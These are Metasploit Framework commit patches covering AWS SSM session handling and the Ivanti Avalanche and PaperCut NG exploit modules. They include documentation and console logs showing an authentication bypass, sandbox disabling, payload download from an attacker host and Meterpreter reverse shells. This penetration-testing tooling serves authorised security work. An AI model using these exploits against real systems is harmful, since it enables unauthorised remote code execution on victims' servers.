"AWS SSM #{ssm_peer_info['ResourceType']} (#{ssm_peer_info['InstanceId']})" end end + def type + @session_type.dup + end + + def bootstrap(*args) + if @platform == 'linux' + # The session from SSM-SessionManagerRunShell starts with a TTY which breaks the post API so change the settings + # and make it behave in a way consistent with other shell sessions + shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe') + end + + super + end + ## # # Returns the session description. diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index ee00abf6842fb..d573e0803c241 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -1,6 +1,42 @@ # -*- coding: binary -*- class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell + module Mixin + # + # Takes over the shell_command of the parent + # + def shell_command(cmd, timeout = 1800) + # insert random marker + strm = Rex::Text.rand_text_alpha(15) + endm = Rex::Text.rand_text_alpha(15) + + # Send the shell channel's stdin. + shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") + + etime = ::Time.now.to_f + timeout + + buff = '' + # Keep reading data until the marker has been received or the 30 minute timeout has occurred + while (::Time.now.to_f < etime) + res = shell_read(-1, timeout) + break unless res + + timeout = etime - ::Time.now.to_f + + buff << res + next unless buff.include?(endm) + + # if you see the end marker, read the buffer from the start marker to the end and then display back to screen + buff = buff.split(/#{strm}\r\n/)[-1] + buff = buff.split(endm)[0] + buff.gsub!(/(?<=\r\n)PS [^>]*>/, '') + return buff + end + buff + end + end + + include Mixin # # Execute any specified auto-run scripts for this session @@ -44,37 +80,4 @@ def platform def desc 'Powershell session' end - - # - # Takes over the shell_command of the parent - # - def shell_command(cmd, timeout = 1800) - # insert random marker - strm = Rex::Text.rand_text_alpha(15) - endm = Rex::Text.rand_text_alpha(15) - - # Send the shell channel's stdin. - shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") - - etime = ::Time.now.to_f + timeout - - buff = '' - # Keep reading data until the marker has been received or the 30 minture timeout has occured - while (::Time.now.to_f < etime) - res = shell_read(-1, timeout) - break unless res - - timeout = etime - ::Time.now.to_f - - buff << res - next unless buff.include?(endm) - - # if you see the end marker, read the buffer from the start marker to the end and then display back to screen - buff = buff.split(/#{strm}\r\n/)[-1] - buff = buff.split(endm)[0] - buff.gsub!(/(?<=\r\n)PS [^>]*>/, '') - return buff - end - buff - end end diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 80ef2fe6008ad..8e310a458f8a2 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -32,7 +32,7 @@ def initialize(framework, ssmclient, peer_info) @peer_info = peer_info @ssmclient = ssmclient @cursor = nil - @cmd_doc = peer_info['CommandDocument'].blank? ? 'AWS-RunShellScript' : peer_info['CommandDocument'] + @cmd_doc = peer_info['CommandDocument'] initialize_abstraction @@ -160,9 +160,8 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), - OptString.new('SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), - OptBool.new('SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]), + OptInt.new('SSM_PUBLISH_TIMEOUT', [true, 'Timeout in seconds to wait for publishing to start', 10]) ], Msf::Handler::BindAwsSsm) self.listener_threads = [] @@ -233,7 +232,7 @@ def start_handler rescue Rex::ConnectionError => e vprint_error(e.message) rescue - wlog("Exception caught in SSM handler: #{$!.class} #{$!}") + wlog("Exception caught in AWS SSM handler: #{$!.class} #{$!}") break end break if ssm_client @@ -258,17 +257,23 @@ def start_handler self.conn_threads << framework.threads.spawn('BindAwsSsmHandlerSession', false, ssm_client, peer_info) do |client_copy, info_copy| begin - raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] - - # Call API to start SSM session - session_init = client_copy.start_session({ + session_params = { target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] - }) + } + + # Call API to start SSM session + session_init = client_copy.start_session(session_params) # Create WebSocket from parameters ssm_sock = connect_ssm_ws(session_init) # Create Channel from WebSocket chan = ssm_sock.to_ssm_channel + # Waiting for the channel to start publishing + (datastore['SSM_PUBLISH_TIMEOUT'] || 10).times do + break if chan.publishing? + sleep 1 + end + raise Rex::TimeoutError.new('Timed out while waiting for the channel to start publishing.') unless chan.publishing? # Configure Channel chan._start_ssm_keepalive if datastore['SSM_KEEP_ALIVE'] chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm @@ -276,13 +281,12 @@ def start_handler chan.params.peerport = 0 chan.params.peerhostname = peer_info['ComputerName'] chan.update_term_size - rescue Rex::Proto::Http::WebSocket::ConnectionError - # Graceful fail-down to command-exec wrapper session type - info_copy['CommandDocument'] = datastore['SSM_COMMAND_DOC'] - chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e - elog('Exception raised from BindAwsSsm.handle_connection', error: e) + print_error("AWS SSM handler failed: #{e.message}") + elog('Exception raised from BindAwsSsm', error: e) + return end + self.listener_pairs[datastore['EC2_ID']] = chan handle_connection(chan.lsock, { datastore: datastore, aws_ssm_host_info: peer_info }) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index d16e351f66c9c..2ea95a44363f1 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -156,7 +156,7 @@ def directory?(path) if session.platform == 'windows' f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else - f = session.shell_command_token("test -d \"#{path}\" && echo true") + f = session.shell_command_token("test -d '#{path}' && echo true") end return false if f.nil? || f.empty? return false unless f =~ /true/ diff --git a/lib/msf/core/session/provider/single_command_shell.rb b/lib/msf/core/session/provider/single_command_shell.rb index a535d7cb308dc..57a675f0d5f9a 100644 --- a/lib/msf/core/session/provider/single_command_shell.rb +++ b/lib/msf/core/session/provider/single_command_shell.rb @@ -147,7 +147,7 @@ def shell_command_token_base(cmd, timeout=10, command_separator="\n") shell_data = "#{delimiter}#{command_separator}#{shell_data}" end shell_write(shell_data) - res = shell_read_until_token(token, 0, timeout) + res = shell_read_until_token(token, 1, timeout) res end diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 6d0bc764f44f2..5dd05e2d088aa 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -58,6 +58,7 @@ def self.rand self.unpack(Rex::Text.rand_text(16)) end end + module Interface module SsmChannelMethods attr_accessor :rows @@ -87,7 +88,6 @@ def acknowledge_output(output_frame) output_frame.uuid end - def pause_publication msg = SsmFrame.create_pause_pub @publication = false @@ -109,24 +109,25 @@ def strip_shell_fmt(tty_out) end def handle_output_data(output_frame) - if @ack_message == output_frame.uuid - # wlog("SsmChannel: repeat output #{output_frame.uuid}") - else - @ack_message = acknowledge_output(output_frame) - # TODO: handle Payload::* types - if [PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type } - if @filter_echo.is_a?(String) and output_frame.payload_data.strip == @filter_echo.strip - dlog("SsmChannel: filtering output #{@filter_echo}") - @filter_echo = true - return nil - else - return @filter_text ? strip_shell_fmt(output_frame.payload_data) : output_frame.payload_data - end - else - wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") - end + return nil if @ack_message == output_frame.uuid + + @ack_message = acknowledge_output(output_frame) + # TODO: handle Payload::* types + if ![PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type } + wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") + return nil end - nil + + payload_data = output_frame.payload_data.value + + + if @filter_echo.is_a?(String) and payload_data.strip == @filter_echo.strip + dlog("SsmChannel: filtering output #{@filter_echo}") + @filter_echo = true + return nil + end + + @filter_text ? strip_shell_fmt(payload_data) : payload_data end def handle_acknowledge(ack_frame) @@ -145,7 +146,7 @@ def update_term_size rows, cols = ::IO.console.winsize unless rows == self.rows && cols == self.cols - set_term_size(rows, cols) + set_term_size(cols, rows) self.rows = rows self.cols = cols end @@ -155,7 +156,7 @@ def set_term_size(cols, rows) data = JSON.generate({cols: cols, rows: rows}) frame = SsmFrame.create(data) frame.payload_type = PayloadType::Size - write(frame) + @websocket.put_wsbinary(frame.to_binary_s) end end @@ -171,7 +172,7 @@ def initialize(websocket, filter_echo = false, filter_text = true) @ack_message = nil @filter_echo = filter_echo @filter_text = filter_text - @publication = true + @publication = false super(websocket, write_type: :binary) end @@ -182,6 +183,7 @@ def on_data_read(data, _data_type) ssm_frame = SsmFrame.read(data) case ssm_frame.header.message_type.strip when 'output_stream_data' + @publication = true # Linux sends stream data before sending start_publication message return handle_output_data(ssm_frame) when 'acknowledge' # update ACK seqno @@ -207,6 +209,7 @@ def on_data_read(data, _data_type) msg: "Unknown AWS SSM message type: #{ssm_frame.header.message_type}" ) end + nil end @@ -218,6 +221,10 @@ def on_data_write(data) @out_seq_num += 1 frame.to_binary_s end + + def publishing? + @publication + end end def to_ssm_channel(filter_echo = true) @@ -240,15 +247,16 @@ class SsmFrame < BinData::Record string :message_id, length: 16, initial_value: UUID.pack(UUID.rand) end - string :payload_digest, length: 32, default_value: lambda { Digest::SHA256.digest(payload_data) } + string :payload_digest, length: 32, default_value: -> { Digest::SHA256.digest(payload_data) } uint32 :payload_type, default_value: PayloadType::Output - uint32 :payload_length, value: lambda { payload_data.length } + uint32 :payload_length, value: -> { payload_data.length } string :payload_data, read_length: -> { payload_length } class << self def create(data = nil, mtype = 'input_stream_data') return data if data.is_a?(SsmFrame) - frame = SsmFrame.new( header: { + + frame = SsmFrame.new(header: { message_type: mtype, created_date: (Time.now.to_f * 1000).to_i, message_id: UUID.pack(UUID.rand) diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 2d8e2b2a838a9..49ab0a086447a 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -20,7 +20,7 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], - 'Platform' => [ 'windows', 'linux', 'java' ], + 'Platform' => [ 'windows', 'linux', 'unix', 'java' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] ) ) From 9f6a1c18a184d72d0563e44d2115eb1450be253a Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 10 May 2023 18:22:00 -0500 Subject: [PATCH 099/415] Minor updates to fix URLs, disclosure date, description, and minor gramatical things --- .../http/ivanti_avalanche_filestoreconfig_upload.md | 8 ++++---- .../http/ivanti_avalanche_filestoreconfig_upload.rb | 9 +++++---- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index 330c6c83cae53..b6829fcaacfcc 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -6,15 +6,15 @@ is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore Ivanti Avalanche restricts the path from being set to folders within the `Windows` and `Program Files` directories. These restrictions do not account for MS-DOS (8.3) path names, so this naming convention can be used to set the Central FileStore path to -the web root of the application. This module leverages the vulnerability to +the web root of the application. This module leverages this vulnerability to upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. ### Installation Instructions The software requires a version of MSSQL server to be installed. The installation instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that -`SQL Server and Windows Authentication Mode` are selected as the default for -server authentication. That can either be done at installation or via +`SQL Server and Windows Authentication Mode` is selected as the default for +server authentication. This can either be done at installation or via SQL Server Management Studio. 1. Open SQL Server Management Studio and connect to the instance @@ -33,7 +33,7 @@ Instructions for installing Ivanti Avalanche can be found [here](https://forums. 5. Do: `set PASSWORD ` 6. Do: `set RHOST ` 7. Do: `run` -8. You should get a shell as NT AUTHORITY\SYSTEM. +8. You should get a shell as `NT AUTHORITY\SYSTEM`. ## Options diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index ad669ed73dd17..9bc9192785a6a 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -16,7 +16,7 @@ def initialize(info = {}) info, 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', 'Description' => %q{ - Vulnerable versions of Ivanti Avalanche permit MS-DOS style short + Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. @@ -27,8 +27,9 @@ def initialize(info = {}) 'Shelby Pace' # Metasploit module ], 'References' => [ - [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], - [ 'CVE', '2023-28128'] + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], + ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], + ['CVE', '2023-28128'] ], 'Platform' => ['win'], 'Privileged' => true, @@ -36,7 +37,7 @@ def initialize(info = {}) 'Targets' => [ [ 'Automatic Target', {}] ], - 'DisclosureDate' => '2022-07-07', + 'DisclosureDate' => '2023-04-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], From cb2c6a7d80fda6e64c5b675d920b47c46dd7f370 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 00:34:47 +0000 Subject: [PATCH 100/415] Prevent bypass_auth from being called twice when AutoCheck is true --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index f6cf49a09eeea..7c31d5fff6477 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -86,7 +86,7 @@ def bypass_auth version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) - match ? match[:csrf] : '' + @csrf_token = match ? match[:csrf] : '' end def get_config_option(name) From d50bd24c2fcf0ee35f8d45d69530e801ed1ae028 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 04:57:57 +0000 Subject: [PATCH 101/415] Adding config cleanup. --- .../multi/http/papercut_ng_auth_bypass.rb | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7c31d5fff6477..a5a0b619c505b 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -60,6 +60,7 @@ def initialize(info = {}) ], self.class ) @csrf_token = nil + @config_cleanup = [] end def bypass_auth @@ -117,7 +118,7 @@ def get_config_option(name) value_input[0]['value'] end - def set_config_option(name, value) + def set_config_option(name, value, rollback) # set name:value pair(s) current_value = get_config_option(name) if current_value == value @@ -144,6 +145,21 @@ def set_config_option(name, value) } ) fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 + # skip storing the cleanup change if this is rolling back a previous change + @config_cleanup.push([name, current_value]) unless rollback + end + + def cleanup + super + if @config_cleanup.nil? + return + end + + until @config_cleanup.empty? + cfg = @config_cleanup.pop + vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") + set_config_option(cfg[0], cfg[1], true) + end end def primer @@ -205,10 +221,10 @@ def exploit # Sandboxing wasn't introduced until version 19 if @version_major >= 19 # 2) Enable scripts, if needed - set_config_option('print-and-device.script.enabled', 'Y') + set_config_option('print-and-device.script.enabled', 'Y', false) # 3) Disable sandboxing, if needed - set_config_option('print.script.sandboxed', 'N') + set_config_option('print.script.sandboxed', 'N', false) end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( From c43eaf86bca041ac6cca2444cd7d8b18e1fee080 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 05:09:35 +0000 Subject: [PATCH 102/415] Adding documentation. --- .../multi/http/papercut_ng_auth_bypass.md | 204 ++++++++++++++++++ 1 file changed, 204 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md new file mode 100644 index 0000000000000..cfa7a0098f4ca --- /dev/null +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -0,0 +1,204 @@ +## Description +PaperCut NG Authentication Bypass affecting the below versions, see [confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +- version 8.0.0 to 19.2.7 (inclusive) +- version 20.0.0 to 20.1.6 (inclusive) +- version 21.0.0 to 21.2.10 (inclusive) +- version 22.0.0 to 22.0.8 (inclusive) + +See module `info` for additional references. + +## Vulnerable Application +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). + +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the application for testing. + +From an empty directory, create a Dockerfile containing the following: +```dockerfile +FROM almalinux +RUN yum install -y procps-ng net-tools cpio sudo perl which +RUN yum install -y initscripts +RUN useradd -ms /bin/bash papercut +RUN usermod -a -G wheel papercut +RUN echo "papercut ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers + +COPY pcng-setup-*.sh / + +USER papercut +WORKDIR /home/papercut +``` + +Download a vulnerable version. Build a container. Run the container while performing the installation. +```sh +curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh" +podman build . --tag papercut-16.4.39159 +podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" +``` +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the container & tag the new image to maintain your configuration changes. In the future the service can be restarted using `/etc/init.d/papercut start` from within the container. + +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the "\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network that is currently in use.* + +## Verification Steps + +1. `./msfconsole -q` +2. `use multi/http/papercut_ng_auth_bypass` +3. `set RHOSTS [target]` +4. `run` + +## Scenarios + +### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/rYrjrI0 +[*] Server started. +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000 +[*] Server stopped. +[*] rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7 +[*] Server started. +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000 +[*] Server stopped. +[*] Rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] Rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8 +[*] Server started. +[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000 +[*] Server stopped. + +meterpreter > +``` + +### Tested on Linux x64 with PaperCut NG Version 16.4.39159 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/GuHN8K +[*] Server started. +[*] Sending payload for requested uri: /GuHN8K.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value. + +### Tested on Linux x64 with PaperCut NG Version 14.3.30457 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/kBXJNp +[*] Server started. +[*] Sending payload for requested uri: /kBXJNp.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable 'SetupCompleted' page. From d8dd9bbe79cd8b20e5e794c5017e841cd1e66bb5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> Date: Thu, 11 May 2023 09:58:16 -0400 Subject: [PATCH 103/415] Move the publish timeout logic (#40) This makes it accessible from enum_ssm so Linux sessions can be opened. --- lib/msf/core/handler/bind_aws_ssm.rb | 9 +-------- lib/rex/proto/http/web_socket/amazon_ssm.rb | 17 +++++++++++++++-- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 8e310a458f8a2..8f4be66ea1232 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -160,8 +160,7 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), - OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]), - OptInt.new('SSM_PUBLISH_TIMEOUT', [true, 'Timeout in seconds to wait for publishing to start', 10]) + OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) ], Msf::Handler::BindAwsSsm) self.listener_threads = [] @@ -268,12 +267,6 @@ def start_handler ssm_sock = connect_ssm_ws(session_init) # Create Channel from WebSocket chan = ssm_sock.to_ssm_channel - # Waiting for the channel to start publishing - (datastore['SSM_PUBLISH_TIMEOUT'] || 10).times do - break if chan.publishing? - sleep 1 - end - raise Rex::TimeoutError.new('Timed out while waiting for the channel to start publishing.') unless chan.publishing? # Configure Channel chan._start_ssm_keepalive if datastore['SSM_KEEP_ALIVE'] chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 5dd05e2d088aa..3884df05b7096 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -227,8 +227,21 @@ def publishing? end end - def to_ssm_channel(filter_echo = true) - SsmChannel.new(self, filter_echo) + def to_ssm_channel(filter_echo: true, publish_timeout: 10) + chan = SsmChannel.new(self, filter_echo) + + if publish_timeout + # Waiting for the channel to start publishing + (publish_timeout * 2).times do + break if chan.publishing? + + sleep 0.5 + end + + raise Rex::TimeoutError.new('Timed out while waiting for the channel to start publishing.') unless chan.publishing? + end + + chan end end From 